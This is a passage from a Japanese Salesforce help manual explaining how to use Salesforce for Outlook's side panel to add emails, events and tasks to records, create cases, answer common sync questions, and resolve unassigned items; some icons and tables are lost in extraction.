の取引先責任者およびリードの Salesforce で表示されるように選択した Facebook® または Twitter™ プロファイ
ル写真が表示されます。

3. メールに関連するその他の取引先責任者およびリードを選択して、その詳細と、関連する活動、ケース、
商談を表示します。
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4. メールまたはイベントを追加した Salesforce レコードをすばやく確認します。新しい取引先、ケース、取引
先責任者、リード、商談、またはメールに関連付けられたカスタムオブジェクトレコードを作成する場合
は、 をクリックします。探しているレコードがない場合は、 をクリックして他のレコードを探し、
メール、行動、または Outlook ToDo リストの ToDo を追加します。サイドパネルを非表示にする折りたたみ
機能 ( ) もあります。

Salesforce レコードへの Microsoft® Outlook® メールの追加
Salesforce レコードに関連する重要な Outlook メールを Salesforce サイドパネルから追跡します。
Salesforce レコードからの Microsoft® Outlook® メールの削除
Salesforce for Outlook のサイドパネルでは、Salesforce レコードから Microsoft Outlook メールを削除できます。
Salesforce レコードへの Microsoft® Outlook® イベントの追加
Outlook イベントを、Salesforceサイドパネルを使用してSalesforceレコードに追加します。イベントはSalesforce

レコードに活動として追加され、レコードの [活動履歴] または [活動予定] 関連リストに表示されます。
Salesforce レコードへの Microsoft® Outlook® タスクの追加
Outlook タスクを複数の Salesforce取引先責任者に追加でき、取引先、リード、商談などの ToDo を受け入れる
他の 1 つのレコードに追加できます。タスクは Salesforceレコードに活動として追加され、レコードの [活動
履歴] または [活動予定] 関連リストに表示されます。
Salesforce サイドパネルからのレコードの直接作成
異なる種類のレコードを、直接 Microsoft® Outlook® のサイドパネルからすばやく作成します。
Microsoft® Outlook® での Salesforce レコードの検索

関連トピック:

Salesforce レコードへの Microsoft® Outlook® メールの追加
Salesforce サイドパネルからのレコードの直接作成
Microsoft® Outlook® での Salesforce レコードの検索

Salesforce レコードへの Microsoft® Outlook® メールの追加

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Outlook 設定の「サイドパネル」Outlook で Salesforce サイドパネルを表示
する

Outlook 設定の「メールを追加」

および

Salesforce 設定から [メール to Salesforce]
の有効化

Outlook のメール (添付ファイルを含む) を
Salesforce レコードに追加する

Outlook 設定の「ユーザに添付ファイル
の選択を許可する」

特定のメール添付ファイルを Salesforce
に追加する
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[活動設定] の「ユーザが複数取引先責任者を ToDo と行動
に関連付けられるようにする」

メール (添付ファイルを含む)、行動、ToDo を複数の取引
先責任者に追加する

Salesforce カスタマーサポートに問い合わせるToDo を受け入れる複数の Salesforce レコードにメールを
追加する

Salesforce レコードに関連する重要な Outlook メールを Salesforce サイドパネルから追跡します。
この手順を実行するには、Salesforceサイドパネルを使用します。このサイドパネルは、Salesforce for Outlookで使
用できます。サイドパネルの詳細は、「Microsoft® Outlook® からの Salesforce レコードの表示と操作」を参照して
ください。
1. [私のメール to Salesforce] を設定していることを確認します。個人設定から、[クイック検索]ボックスに「私

のメール to Salesforce」と入力し、[私のメール to Salesforce] を選択します。
2. Outlook で、次のいずれかの操作を実行します。

• 受信トレイからメールを選択する。
• 新規メールを作成する。
Outlook メールとその添付ファイルは複数の Salesforce レコードに追加できます。

3. サイドパネルで、メールを追加する取引先責任者、取引先、ケース、商談、リードの をクリックしま
す。このサイドパネルではメールを追加した Salesforce レコードが確認されます。
新規メールを送信する場合、[送信] をクリックすると、そのメールが Salesforce レコードに追加されます。

4. サイドパネルの使用の設定方法によって、添付ファイルの追加方法が異なります。
• メールを Salesforce に追加した後で添付ファイルセクションが表示される場合は、 をクリックして、

レコードにある特定のメール添付ファイルを含めます。

1977

デスクトップベースの Salesforce for Outlook顧客への営業



• 添付ファイルを追加するオプションが表示されない場合は、メールを Salesforce に追加するときに添付
ファイルが自動的に含まれます。または、添付ファイルがメールの全般的な制限を超えています。

関連トピック:

[メール to Salesforce] の有効化
Microsoft® Outlook® での Salesforce レコードの検索
Salesforce レコードからの Microsoft® Outlook® メールの削除

Salesforce レコードからの Microsoft® Outlook® メールの削除

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Outlook 設定の「サイドパネル」Outlook で Salesforce サイドパネルを表示
する

Outlook 設定の「メールを追加」

および

[Salesforce にメール] の「有効化」

Outlook のメール (添付ファイルを含む)、
行動、ToDo を Salesforce レコードに追加
する

Outlook 設定の「ユーザに添付ファイル
の選択を許可する」

特定のメール添付ファイルを Salesforce
に追加する

[活動設定] の「ユーザが複数取引先責任
者を ToDo と行動に関連付けられるよう
にする」

メール (添付ファイルを含む)、行動、
ToDo を複数の取引先責任者に追加する

Salesforce カスタマーサポートに問い合
わせる

ToDo を受け入れる複数の Salesforce レ
コードにメールを追加する

Salesforce for Outlook のサイドパネルでは、Salesforce レコードから Microsoft Outlook メールを削除できます。
この手順を実行するには、Salesforceサイドパネルを使用します。このサイドパネルは、Salesforce for Outlookで使
用できます。サイドパネルの詳細は、「Microsoft® Outlook® からの Salesforce レコードの表示と操作」を参照して
ください。
1. Outlook で、Salesforce レコードから削除するメールを選択します。
2. Salesforce サイドパネルで、メールを削除する Salesforce レコードを探します。このサイドパネルの上のセク

ションでは、メールを追加されたレコードが表示されます。
3. マウスを に重ねると、 に変わります。このアイコンをクリックして、Salesforce レコードからメー

ルを削除します。このサイドパネルではメールを追加した残りのSalesforceレコードの更新が表示されます。

関連トピック:

Salesforce レコードへの Microsoft® Outlook® メールの追加
Microsoft® Outlook® での Salesforce レコードの検索

1978

デスクトップベースの Salesforce for Outlook顧客への営業

https://help.salesforce.com/apex/HTViewHelpDoc?id=limits_email_general.htm&language=ja


Salesforce レコードへの Microsoft® Outlook® イベントの追加

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Outlook で Salesforce サイ
ドパネルを表示する
• Outlook 設定の「サイ

ドパネル」

Outlook のメール (添付ファ
イルを含む)、行動、ToDo
を Salesforceレコードに追
加する
• Outlook 設定の「メー

ルを追加」

メール (添付ファイルを含
む)、行動、ToDo を複数の
取引先責任者に追加する
• [活動設定] の「ユーザ

が複数取引先責任者を
ToDo と行動に関連付
けられるようにする」

Outlook イベントを、Salesforce サイドパネルを使用して Salesforce レコードに追加
します。イベントはSalesforceレコードに活動として追加され、レコードの [活動
履歴] または [活動予定] 関連リストに表示されます。
1. Outlook で、Salesforceレコードに追加するイベントまたは定期的なイベントを

選択します。イベントを複数の取引先責任者、および ToDo を関連付け可能
な他の 1 つのレコード (取引先、ケース、商談など) に追加できます。
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2. Salesforce サイドパネルで、イベントを追加する取引先責任者、取引先、ケース、商談、リードの をク
リックします。
イベントを追加すると、 が表示されます。

3. イベントを追加した Salesforce レコードを確認します。
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Salesforce レコードへの Microsoft® Outlook® タスクの追加

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Outlook で Salesforce サイ
ドパネルを表示する
• Outlook 設定の「サイ

ドパネル」

Outlook のメール (添付ファ
イルを含む)、行動、ToDo
を Salesforceレコードに追
加する
• Outlook 設定の「メー

ルを追加」

メール (添付ファイルを含
む)、行動、ToDo を複数の
取引先責任者に追加する
• [活動設定] の「ユーザ

が複数取引先責任者を
ToDo と行動に関連付
けられるようにする」

Outlook タスクを複数の Salesforce 取引先責任者に追加でき、取引先、リード、商
談などの ToDo を受け入れる他の 1 つのレコードに追加できます。タスクは
Salesforce レコードに活動として追加され、レコードの [活動履歴] または [活動予
定] 関連リストに表示されます。
Microsoft Outlook のタスクから、Outlook タスクをSalesforceレコードに追加します。
1. Salesforce レコードに追加するタスクを選択します。
2. サイドパネルの をクリックして、ToDo に追加する Salesforce レコードを表

示します。
3. 検索結果でレコードの横にある をクリックします。
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ToDo を追加すると、 が表示されます。
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Salesforce サイドパネルからのレコードの直接作成

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce サイドパネルを
表示する
• Outlook 設定の「サイ

ドパネル」

Salesforce サイドパネルか
ら新規レコードを作成す
る
• ユーザがレコードを作

成するすべてのオブ
ジェクトに対する「作
成」と「参照」および
ユーザが作成するレ
コードのすべての必須
項目に対する「参照可
能」

異なる種類のレコードを、直接 Microsoft® Outlook®のサイドパネルからすばやく作
成します。
Salesforce サイドパネルパブリッシャーへのアクセスをシステム管理者がどのよ
うに設定したかに応じて、取引先、ケース、取引先責任者、リード、商談、お
よび組織用にカスタマイズされた他のタイプのレコードをサイドパネルから直
接作成できます。
1. Outlook のメールを選択して、 をクリックします。

実際の表示は次のようになります。

2. アクションを選択します。
使用できるアクションは、新規取引先責任者など、システム管理者が設定し
た内容によって異なります。

3. 関連する詳細を入力して、レコード詳細を完了します。
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4. をクリックして、レコードを保存します。
作成したレコードには、メールの添付ファイルは含まれません。
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Microsoft® Outlook® での Salesforce レコードの検索

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Outlook 設定の「サイドパネル」Outlook で Salesforce サイドパネルを表示
する

Outlook 設定の「メールを追加」

および

[Salesforce にメール] の「有効化」

Outlook のメール (添付ファイルを含む)、
行動、ToDo を Salesforce レコードに追加
する

Outlook 設定の「ユーザに添付ファイル
の選択を許可する」

特定のメール添付ファイルを Salesforce
に追加する

[活動設定] の「ユーザが複数取引先責任
者を ToDo と行動に関連付けられるよう
にする」

メール (添付ファイルを含む)、行動、
ToDo を複数の取引先責任者に追加する

Salesforce カスタマーサポートに問い合
わせる

ToDo を受け入れる複数の Salesforce レ
コードにメールを追加する

この手順を実行するには、Salesforceサイドパネルを使用します。このサイドパネルは、Salesforce for Outlookで使
用できます。サイドパネルの詳細は、「Microsoft® Outlook® からの Salesforce レコードの表示と操作」を参照して
ください。
Salesforceサイドパネルに表示されている詳細を参照しているときに、その他のSalesforceレコードを検索する必
要が生じる場合があります。検索結果には、取引先責任者および ToDo を関連付け可能な他のレコード (キャン
ペーン、ケース、商談など) が表示されます。
1. Outlook から、追加の Salesforce レコードを表示するメールを選択します。
2. サイドパネルで、 をクリックします。
3. 検索語を入力します。たとえば、desktops (デスクトップ) に関連する Salesforce レコードを検索する場合、

「desktop」と入力します。
4. [検索] アイコンをクリックして、検索語句に関連する Salesforce レコードを表示します。

関連トピック:

Microsoft® Outlook® からの Salesforce レコードの表示と操作
Salesforce レコードへの Microsoft® Outlook® メールの追加

1985

デスクトップベースの Salesforce for Outlook顧客への営業



Salesforce for Outlook を使用した Outlook リボンからのケースの作成

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ケースの作成時にメール
添付ファイルを含める
• [メール To Salesforce]

設定の「常に添付ファ
イルを保存」

および

Salesforce for Outlook 設
定の「メールを追加」

メモ: この機能を使用する前に、代わりにSalesforceサイドパネルからレコー
ドを直接作成することを検討してください。サイドパネルからケースを作
成する場合、メールの添付ファイルは含まれません。

Microsoft® Outlook® に [ケースを作成] ドロップダウンリストボタンが表示されない
場合は、システム管理者に問い合わせてください。この機能はシステム管理者
が有効にできます。

Salesforce のケースを追跡する場合、Microsoft® Outlook® のメールから新しいケース
を作成できます。システム管理者はまずメール-to-ケース作成先を作成する必要
があります。これは、Outlook の [ケースを作成]ドロップダウンリストボタンに表示されます。作成先ごとに、
割り当て先として個人ユーザまたはキューを選択できます。ケースを作成すると、作成先ごとに最大 10 件の
メールを同時に追加できます。
1. Outlook で、最大 10 件の送信または受信メールを選択し、[ケースを作成] をクリックします。
2. ドロップダウンリストから作成先を選択します。Salesforce for Outlook が、選択されたメールを Salesforce に

ケースとして追加します。

関連トピック:

Salesforce サイドパネルからのレコードの直接作成
Salesforce for Outlook メール設定の編集
Salesforce for Outlook の設定およびツールへのアクセス

1986

デスクトップベースの Salesforce for Outlook顧客への営業



FAQ - Salesforce for Outlook

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce for Outlook に関するよくある質問を見てみましょう。

質問カテゴリ

Salesforceと Microsoft® Outlook®における非公開項目の違いは
何ですか?

一般的な
Salesforce for Outlook

の質問

Salesforce for Outlook ではターミナルサーバをサポートして
いますか?

Salesforce for Outlook のインストールが前提条件の画面で失
敗する理由は?

Salesforce for Outlook

のインストール

Salesforce for Outlook を使用して同期しているカスタム項目
を対応付けることはできますか?

Salesforce for Outlook

の定義

Salesforce for Outlook を一括設定できますか?

Salesforce for Outlook データセットで検索条件ロジックを使
用できますか?

データを Salesforce にアップロードする場合、Outlook を同
期すべきですか、それともインポートウィザードを使用
すべきですか?

Salesforce for Outlook

との同期

Salesforce for Outlook を使用して個人取引先を同期すること
はできますか?

Salesforce for Outlook を使用してケースを追加できますか?

Salesforce for Outlook を使用してカスタムオブジェクトに
Outlook レコードを関連付けることはできますか?

Salesforce for Outlookが Microsoft® Outlook®で重複するレコード
を作成する理由は?

同期されたレコード
の管理

Salesforce for Outlook が Salesforce と Microsoft® Outlook® で重複
する連絡先 (取引先責任者) を作成する理由は?

Salesforce for Outlookが同期後に Outlook レコードを削除する
理由は?

適切なメールインテグレーション製品の選択Salesforce レコード
へのメールの追加

Salesforce レコードにメールを追加できますか?

Salesforce for Outlook が Salesforce で正しい取引先責任者また
はリードにメールを追加しない理由は?

Salesforce にメールを追加できない理由は?
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質問カテゴリ

メールを Salesforce に追加するときにファイルを添付する方法は?

Salesforce for Outlook で取引先責任者の同期を有効にする方法は?取引先責任者の同期

Salesforce for Outlook がメールを保護する方法は?データの保護

Salesforce では Salesforce for Outlook のシングルサインオン (SSO) をサポートしてい
ますか?

Salesforce for Outlook の安全性は?

Salesforce と Microsoft® Outlook® における非公開項目の違いは何ですか?

Salesforce for Outlook ではターミナルサーバをサポートしていますか?

Salesforce for Outlook のインストールが前提条件の画面で失敗する理由は?

Salesforce for Outlook を使用して同期しているカスタム項目を対応付けることはできますか?

Salesforce for Outlook を一括設定できますか?

Salesforce for Outlook データセットで検索条件ロジックを使用できますか?

Salesforce for Outlook を使用して個人取引先を同期することはできますか?

Salesforce for Outlook を使用してケースを追加できますか?

Salesforce for Outlook を使用してカスタムオブジェクトに Outlook レコードを関連付けることはできますか?

Salesforce for Outlook が Microsoft® Outlook® で重複するレコードを作成する理由は?

Salesforce for Outlook が Salesforce と Microsoft® Outlook® で重複する連絡先 (取引先責任者) を作成する理由は?

Salesforce for Outlook が同期後に Outlook レコードを削除する理由は?

Salesforce for Outlook が Salesforce で正しい取引先責任者またはリードにメールを追加しない理由は?

Salesforce にメールを追加できない理由は?

メールを Salesforce に追加するときにファイルを添付する方法は?

Salesforce for Outlook で取引先責任者の同期を有効にする方法は?

Salesforce for Outlook がメールを保護する方法は?

Salesforce では Salesforce for Outlook のシングルサインオン (SSO) をサポートしていますか?

Salesforce for Outlook の安全性は?

Salesforce と Microsoft® Outlook® における非公開項目の違いは何ですか?

Microsoft Outlook と Salesforce の非公開項目には、意外な相違点があります。非公開の行動の同期を選択する前
に、それらが各システムで同僚にどう表示されるかを考慮します。
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Salesforce で非公開としてマーク済みOutlook で非公開項目

他のSalesforceユーザには、取引先に関連付けら
れている取引先責任者が表示されます。

Exchange システム管理者にはあなたの取引先
責任者が表示されます。他のユーザには表示
されません。

取引先責任者

取引先に関連付けられていない取引先責任者は
非公開になり、他のSalesforceユーザには表示さ
れません。ただし、Salesforceシステム管理者は
取引先責任者の表示、編集、およびレポートを
実行できます。

他のSalesforceユーザには、行動の詳細ではなく
時間ブロックのみが表示されます。ただし、

Exchange システム管理者にはあなたの行動が
表示されます。他のユーザには表示されませ
ん。

行動

Salesforceシステム管理者は行動の表示、編集、
およびレポートを実行できます。

Salesforceには、ToDo を非公開にしておく機能は
ありません。そのため、他のSalesforceユーザに
もあなたの ToDo が表示されます。

Exchange システム管理者にはあなたの ToDo が
表示されます。他のユーザには表示されませ
ん。

ToDo

関連トピック:

デスクトップベースの Salesforce for Outlook

Microsoft® Outlook® と Salesforce の同期の概要

Salesforce for Outlook ではターミナルサーバをサポートしていますか?

いいえ。Salesforce for Outlook では、Citrix などのターミナルサーバはサポートされていません。

関連トピック:

デスクトップベースの Salesforce for Outlook

Salesforce for Outlook のインストールが前提条件の画面で失敗する理由は?

システムが、Salesforce for Outlook のシステム要件を満たしていない可能性があります。システムがこれらの要
件を満たしていることを確認し、Salesforce for Outlook のインストールを再試行してください。

関連トピック:

デスクトップベースの Salesforce for Outlook

Salesforce for Outlook のインストールと設定
Salesforce for Outlook のシステム要件
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Salesforce for Outlookを使用して同期しているカスタム項目を対応付けることはできますか?

はい。Salesforce for Outlook を使用して、Salesforce 項目をカスタム Outlook 項目に対応付けたり、Outlook 項目をカ
スタム Salesforce 項目に対応付けたりできます。対応付けできる項目種別は、次のとおりです。
• Outlook テキスト項目
• Salesforce テキスト項目
• 一部の Salesforce 選択リスト項目
カスタム項目を対応付けるには、Outlook 設定を開きます。[項目の対応付け] で、対応する [Outlook 項目]

選択リストの末尾から [カスタム項目...] を選択します。項目名を入力し、[OK] をクリックします。

関連トピック:

Microsoft® Outlook® と同期する Salesforce 項目の指定

Salesforce for Outlook を一括設定できますか?

はい。Salesforce で設定を作成して、プロファイルまたは特定のユーザにその設定を割り当てることができま
す。それらのユーザが Salesforce for Outlook を設定すると、構成設定が Outlook に自動的にリリースされます。

関連トピック:

Salesforce for Outlook 設定の管理

Salesforce for Outlook データセットで検索条件ロジックを使用できますか?

ユーザが Salesforce for Outlook を使用して同期するレコードを、システム管理者は検索条件ロジックを使用して
制限できますが、ユーザはできません。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要

Salesforce for Outlook を使用して個人取引先を同期することはできますか?

いいえ。個人取引先は、Salesforce for Outlook を使用してアップロードできません。
個人取引先を Salesforce 組織にインポートする方法については、「データインポートウィザード」 (ページ 756)

を参照してください。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要
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Salesforce for Outlook を使用してケースを追加できますか?

はい。Salesforce for Outlook では、メールをケースとして Salesforce に追加できます。

関連トピック:

Salesforce for Outlook を使用した Outlook リボンからのケースの作成
Salesforce for Outlook ユーザのケース作成の設定

Salesforce for Outlook を使用してカスタムオブジェクトに Outlook レコードを関連付けるこ
とはできますか?

同期させた行動および ToDO を、カスタムオブジェクトなどのさまざまなオブジェクトに割り当てることがで
きます。ただし、取引先に割り当てることができるのは、同期した取引先責任者のみです。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要

Salesforce for Outlook が Microsoft® Outlook® で重複するレコードを作成する理由は?

項目に非公開とマークを付けるか、それらを Outlook カテゴリの [Salesforceと同期しない]に割り当て、取引先責
任者、行動、および ToDo を Salesforce から Outlook に同期すると、Salesforce for Outlook で Outlook 内に重複レコー
ドが作成される場合があります。
これは、非公開のマークを付けたか、カテゴリ [Salesforceと同期しない]に割り当てられている Outlook 項目と同
じ情報を含むSalesforce項目がある場合に発生する可能性があります。これらの項目はお互いに対応付けされな
かったため、Salesforce for Outlook はそれらを別個に処理し、その結果重複が生じます。
重複を削除するには、非公開のマークを付けたか、Outlook カテゴリ [Salesforceと同期しない] に割り当てられた
Outlook の中にあるものを削除することをお勧めします。このようにすると、他のユーザが寄稿した可能性の
ある Salesforce 内の情報が削除されることはなくなります。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要

Salesforce for Outlook が Salesforce と Microsoft® Outlook® で重複する連絡先 (取引先責任者)
を作成する理由は?

チームのレコードと同期し、それらのレコードに自分が所有する取引先責任者と同じ取引先責任者の一部につ
いて異なる情報が含まれる場合、Salesforce for Outlook は Salesforce と Outlook の両方に重複する取引先責任者を作
成する可能性があります。
たとえば、あたなとチームメンバーの両方が Christina Wills という取引先責任者を使用しているとします。ただ
し、これらの 2 つの取引先責任者には所属会社として異なる会社が列挙されています。Salesforce for Outlookはあ
なたの取引先責任者とチームメンバーの取引先責任者を同期し、その結果Salesforce と Outlook に重複が生じま
す。
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これを回避するには、チームメンバーと協力して同じ取引先責任者情報を共有するようにします。無効になっ
た情報を含む取引先責任者は削除する必要があります。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要

Salesforce for Outlook が同期後に Outlook レコードを削除する理由は?

Salesforce for Outlook はユーザが所有するレコードのほかに、次の条件を満たし、かつ、ユーザが参照・更新ア
クセス権を持つレコードを自動的に同期します。
• ユーザが所有する取引先と関連付けられている
• ユーザが取引先チームメンバーとして属している取引先と関連付けられている
• ユーザの同期プロファイルグループのメンバーによって所有されている
Outlook から Salesforce に、上記の条件を満たさないレコードを同期しようとすると、同期の後の処理で、同期
プロセスによって Outlook からレコードが削除される可能性があります。これらのレコードが削除されないよ
うにするには、それらを Outlook カテゴリの [Salesforce と同期しない] に割り当てます。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要

Salesforce for Outlook が Salesforce で正しい取引先責任者またはリードにメールを追加しな
い理由は?

次のいずれかが生じている可能性があります。

対応策Salesforce for Outlook によるメール
の追加先

確認された状況

重複レコードの統合を検討する間違ったレコードSalesforceサイドパネルに重複レコー
ドがある

一致する取引先責任者またはリー
ドを Salesforce に追加して、未解決

私の未解決の項目Salesforceサイドパネルに、一致する
レコードがない

のメールを新規取引先責任者また
はリードに関連付ける

[私のメール to Salesforce] 設定の [除
外ドメイン]から会社のドメインを
削除します。

関連トピック:

Salesforce for Outlook メール設定の編集
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Salesforce にメールを追加できない理由は?

Salesforce for Outlook を使用してメールを追加するときに「User is not authorized to send emails to

this service (ユーザは、このサービスへのメール送信を許可されていません)」というエラーメッセージを
受け取る場合は、メールアドレスが Salesforce で認証されてません。
Salesforce でメールアドレスを認証する手順は、次のとおりです。
1. 個人設定から、[クイック検索] ボックスに「私のメール to Salesforce」と入力し、[私のメール to

Salesforce] を選択します。
2. [私の受け入れ可能メールアドレス] に、認証するメールアドレスを入力します。Salesforceによって、この項

目にリストされているアドレスのみから Salesforce for Outlookを介してメールを追加できるようになります。
この項目を空にしておくことはできません。

関連トピック:

Salesforce for Outlook メール設定の編集

メールを Salesforce に追加するときにファイルを添付する方法は?

次の要件を満たしている場合は、メールをSalesforceに追加するとき、添付ファイルを含めることができます。
• 自分とシステム管理者が正しい設定を有効にしている。
• Salesforce に添付ファイルを保存するための十分なディスク領域がある。
• 添付ファイルのサイズが Salesforce の一般的なメール制限を超えていない。
メールを Salesforceに追加すると、メールが新規 ToDo として追加されます。Salesforce for Outlookまたは [メール to

Salesforce] を使用して添付ファイルを追加すると、添付ファイルは [添付ファイル]関連リストに含められます。
Outlook 向け Lightning を使用して添付ファイルを追加すると、添付ファイルは Salesforce Files に追加されます。
システム管理者が行った設定に応じて、次のいずれかの方法でメール添付ファイルを Salesforce に追加できま
す。

添付ファイルを Salesforce
に追加する方法

システム管理者が有効化
する内容

ユーザが有効化する内容使用対象

Outlook 向け Lightning から
Salesforceにメールを追加し

Salesforce の [設定] のOutlook

向け Lightning
[アドインを管理] を選択
し、Microsoft® Outlook のサ
ポート対象バージョンの

Lightning for Outlook

た後で、オプションを選
択して添付ファイルを含
める。

Outlook 向け Lightning を有
効にする。Outlook 向け
Lightningを使用できない場
合は、Microsoft® Office Store

から追加する。

サイドパネルからメール
を Salesforce に追加した後
で自動的に。

Outlook 設定の [サイドパネ
ル] および [メールを追
加]

サイドパネルが表示され
た Salesforce for Outlook
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添付ファイルを Salesforce
に追加する方法

システム管理者が有効化
する内容

ユーザが有効化する内容使用対象

サイドパネルからメール
を Salesforce に追加した後
に を選択する。

Outlook 設定の [サイドパネ
ル]、[メールを追加]、お
よび [ユーザに添付ファイ
ルの選択を許可する]

Outlook の [メールを追加]

ボタンまたは [送信と追
Salesforce の [設定] の [メー
ル to Salesforce]、お

メール設定の [メール to

Salesforce]  ([常に添付
ファイルを保存] はオン)

サイドパネルが表示され
ない Salesforce for Outlook

加]ボタンを使用してメー
ルを Salesforce に追加した
後で自動的に。

よびユーザが含まれる有
効な Outlook 設定

メールを [メール to

Salesforce] アドレスに送信
した後で自動的に。

Salesforce の [設定] の [メー
ル to Salesforce]

メール設定の [メール to

Salesforce]  ([常に添付
ファイルを保存] はオン)

メール to Salesforce

関連トピック:

メールの全般的な制限
Salesforce レコードへの Microsoft® Outlook® メールの追加
Salesforce for Outlook のメールオプションの設定
[メール to Salesforce] の設定
[メール to Salesforce] の有効化

Salesforce for Outlook で取引先責任者の同期を有効にする方法は?

Microsoft® Outlook® と Salesforce との間で取引先責任者を同期するには、システム管理者が次の 2 つの作業を実行
する必要があります。
• ユーザが取引先責任者を同期できるようにする設定をシステム管理者が作成する。
• システム管理者がその設定のデータセットを定義する。
システム管理者がこれらの作業を実行した後、次の手順を実行すると取引先責任者を同期できる権限を持つこ
とができます。
1. [個人設定] から、[クイック検索] ボックスにSalesforce for Outlookと入力し、[Salesforce for Outlook]

を選択します。
2. [私の設定を表示] をクリックします。
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3. [同期の設定] セクションで、[取引先責任者]が選択されていることを確認します。選択できない場合は、取
引先責任者の同期を有効にできるようシステム管理者にお問い合わせください。

関連トピック:

Salesforce for Outlook の同期設定の編集
Salesforce for Outlook との取引先責任者 (連絡先) の同期
Salesforce for Outlook のデータセットに関する説明

Salesforce for Outlook がメールを保護する方法は?

Salesforce では、Salesforce for Outlook の代理認証と Security Assertion Markup Language (SAML) の要件の両方をサポート
しています。Salesforce for Outlook に SAML を使用する場合は、「私のドメイン」が必要です。

関連トピック:

Salesforce for Outlook メール設定の編集

Salesforce では Salesforce for Outlook のシングルサインオン (SSO) をサポートしていますか?

はい。Salesforce では、Salesforce for Outlook の代理認証と Security Assertion Markup Language (SAML) の要件の両方をサ
ポートしています。代理認証を使用する場合は、Salesforce for Outlook を最初に使用するときに Salesforce にログ
インする必要があります。Salesforce for Outlook に SAML を使用する場合は、「私のドメイン」が必要です。

Salesforce for Outlook の安全性は?

マシンにインストールする .NET アプリケーションである Salesforce for Outlook は、Salesforce にセキュアに接続し
ます。具体的には次のようになります。

Salesforce for Outlook による使用対象

Salesforce との認証に OAuth 2.0 を使用
ユーザ名と暗号化された OAuth 更新トークンをローカルに格納します。パス
ワードを格納することはありません。

ユーザ名とパスワード

HTTPS 接続で SSL 128 ビット暗号化を使用Salesforce への接続
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私の未解決の項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方
(Windows システムトレイ
から Salesforce for Outlook
項目を解決するようメッ
セージが表示された場合
のみ)

使用可能なエディション:
すべてのエディション

Salesforce for Outlook、Lightning Sync、またはメール to Salesforce を使用して項目を同
期したり、メールアプリケーションからSalesforceにメールを追加したりすると、
これらの機能が自動的には Salesforce レコードに割り当てることができないすべ
ての項目が [私の未解決の項目] に表示されます。
日常的な作業の一環として、このページを使用し、注意が必要な未解決の項目
を管理します。定期的な行動は [私の未解決の項目] ページには表示されません。
代わりに、カレンダーの定期的な行動に直接移動して、定期的な行動をSalesforce

レコードに関連付けることができます。

1. サイドバーの [未解決の項目] ショートカットを使用して、[私の未解決の項目] ページに簡単にアクセスし
ます。

2. [取引先責任者]、[行動]、および [ToDo] タブを使用して、種別ごとに未割り当て項目をすばやく確認します。
3. 未割り当て項目を表示します。
4. 手動または Salesforce のおすすめを使用して、項目を Salesforce レコードに割り当てるか、未割り当てのまま

にすることを確認します。

項目の解決を簡単にする機能の使用
次の機能を使用すると項目をすばやく簡単に解決することができます。
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時間の節約につながる理由使用する機能目的

1 つのキューで同時に最大 50 個の項目を割り当てられます。バッチ編集複数の項目を同
時に割り当てる

Salesforceは、項目を割り当てられる取引先責任者、ケース、および商
談の推奨事項を提示します。これらの推奨事項を表示しない場合は、

おすすめSalesforceからおす
すめの提示を受
ける [おすすめを無効にする] リンクをクリックします。有効にする場合

は、[おすすめを有効にする] リンクをクリックします。
おすすめは、ルックアップで取引先責任者を選択し、関連リストが空
である場合にのみ表示されます。おすすめは、次の条件に基づいて表
示されます。
• 取引先:取引先責任者が親となる取引先を持っているか、取引先の

取引先責任者ロールを持っている
• ケース: 取引先責任者がケースに関連している
• 商談: 取引先責任者が、商談で取引先責任者ロールを持っている

同期した取引先責任者の解決
Salesforce for Outlook または Lightning Sync を使用してメールアプリケーションから取引先責任者を同期する場
合、一部の取引先責任者はその会社に基づいて取引先に自動的に割り当てられます。その他の取引先責任
者は [私の未解決の項目] に追加されます。ここで、取引先責任者を Salesforce 取引先に割り当てるか、未割
り当てのままにすることを確認できます。
同期した行動の解決
同期した Outlook ToDo の解決

関連トピック:

同期した Outlook ToDo の解決
同期した取引先責任者の解決
同期した行動の解決
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同期した取引先責任者の解決

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方
(Windows システムトレイ
から Salesforce for Outlook
項目を解決するようメッ
セージが表示された場合
のみ)

使用可能なエディション:
すべてのエディション

ユーザ権限

未解決の取引先責任者を
表示または編集する
• 取引先責任者に対する

「編集」、取引先に対
する「参照」

および

取引先責任者に対する
同期の有効化

取引先を新規作成する
• 取引先責任者に対する

「編集」、取引先に対
する「作成」

および

「簡易作成の表示」

Salesforce for Outlook または Lightning Sync を使用してメールアプリケーションから
取引先責任者を同期する場合、一部の取引先責任者はその会社に基づいて取引
先に自動的に割り当てられます。その他の取引先責任者は [私の未解決の項目]

に追加されます。ここで、取引先責任者を Salesforce 取引先に割り当てるか、未
割り当てのままにすることを確認できます。
1. サイドバーショートカットの [未解決の項目]から未解決の取引先責任者にア

クセスします。
2. 次のいずれかの方法で、各取引先責任者を解決します。

• 取引先を割り当てる:

– ドロップダウンリストの [提案された取引先を選択する] の下から取引
先を選択します。取引先責任者の会社に基づいて一致しそうなものを
検出した場合にのみ、取引先を提案します。提案される取引先には、
[取引先名]項目と、取引先検索レイアウトの中で定義されている、そ
の他の最初の 3 つの項目を常に表示します。組織に、特定の取引先が
